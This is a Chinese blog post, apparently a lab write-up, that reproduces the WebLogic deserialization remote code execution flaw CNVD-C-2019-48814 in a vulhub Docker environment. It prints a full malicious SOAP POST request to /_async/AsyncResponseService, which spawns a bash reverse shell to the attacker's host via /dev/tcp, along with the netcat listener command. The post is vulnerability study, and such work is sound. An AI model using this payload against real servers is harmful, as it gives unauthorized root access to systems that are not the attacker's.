WebLogic反序列化远程命令执行（CNVD-C-2019-48814）

小鱼儿 2023-10-07 21:51 48阅读 0赞

#### 漏洞名称 ####

#### 漏洞简介 ####

此漏洞存在于Weblogic自带的wls9\_async\_response.war组件及wls-wsat组件中，由于在反序列化处理输入信息的过程中存在缺陷，未经授权的攻击者可以发送精心构造的恶意HTTP请求，获取服务器权限，实现远程代码执行。

#### 影响版本 ####

WebLogic10.3.6.0

WebLogic12.1.3.0.0

WebLogic12.2.1.1.0

WebLogic12.2.1.2.0

####  ####

#### 环境搭建 ####

> 1.Kali主机，使用vulhub靶场，复现镜像使用CVE-2017-10271

![8604b48e3e5340bbb05e6993b136e9dd.png][]

> 2. 启动镜像：docker-compose up -d

![674d64ee27844e14945d04025892f366.png][]

访问 your-ip:7001/\_async/AsyncResponseService

![afb764118c5e48c1ba0337d81c232d04.png][]

出现以上界面，证明组件开启。可能存在漏洞

### 反弹shell： ###

1.nc -lvvp 2022 \#打开监听

2.浏览器开启代理，burp suite 拦截请求。

右键发送到 Send to Repeater 模块

![12239a7a4d744c04a77f499a318f9d1c.png][]

**修改GET为POST，添加 content-ytpe: text/xml参数**

POST /\_async/AsyncResponseService HTTP/1.1  
Host: 172.17.0.1:7001  
User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:102.0) Gecko/20100101 Firefox/102.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
Connection: close  
Cookie: ADMINCONSOLESESSION=6cV5jQBHfYDWPNhZy5kqB2hzJTLN7vN2lGpClVXpQKv7NX7Td84h!-533464484  
Upgrade-Insecure-Requests: 1  
content-ytpe: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService">  
<soapenv:Header>  
<wsa:Action>xx</wsa:Action>  
<wsa:RelatesTo>xx</wsa:RelatesTo>  
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">  
<void class="java.lang.ProcessBuilder">  
<array class="java.lang.String" length="3">  
<void index="0">  
<string>/bin/bash</string>  
</void>  
<void index="1">  
<string>-c</string>  
</void>  
<void index="2">  
<string>bash -i >& /dev/tcp/your-ip/2022 0>&1</string>  
</void>  
</array>  
<void method="start"/></void>  
</work:WorkContext>  
</soapenv:Header>  
<soapenv:Body>  
<asy:onAsyncDelivery/>  
</soapenv:Body></soapenv:Envelope>

将以上代码，复制粘贴在Request

**点击Send发送，出现202表示发送成功**

![1a68a94a082d4bfbb1622f04ad4e2100.png][]

反弹成功：获取root权限

![12e7b0a4db8f4e2c844037ea3ae810ef.png][]

如有问题，欢迎留言。

参考链接：

[weblogic CNVD-C-2019-48814（CVE-2019-2725） - 简书][weblogic CNVD-C-2019-48814_CVE-2019-2725_ -]

[8604b48e3e5340bbb05e6993b136e9dd.png]: https://img-blog.csdnimg.cn/8604b48e3e5340bbb05e6993b136e9dd.png
[674d64ee27844e14945d04025892f366.png]: https://img-blog.csdnimg.cn/674d64ee27844e14945d04025892f366.png
[afb764118c5e48c1ba0337d81c232d04.png]: https://img-blog.csdnimg.cn/afb764118c5e48c1ba0337d81c232d04.png
[12239a7a4d744c04a77f499a318f9d1c.png]: https://img-blog.csdnimg.cn/12239a7a4d744c04a77f499a318f9d1c.png
[1a68a94a082d4bfbb1622f04ad4e2100.png]: https://img-blog.csdnimg.cn/1a68a94a082d4bfbb1622f04ad4e2100.png
[12e7b0a4db8f4e2c844037ea3ae810ef.png]: https://img-blog.csdnimg.cn/12e7b0a4db8f4e2c844037ea3ae810ef.png
[weblogic CNVD-C-2019-48814_CVE-2019-2725_ -]: http://events.jianshu.io/p/11f5eadd6c66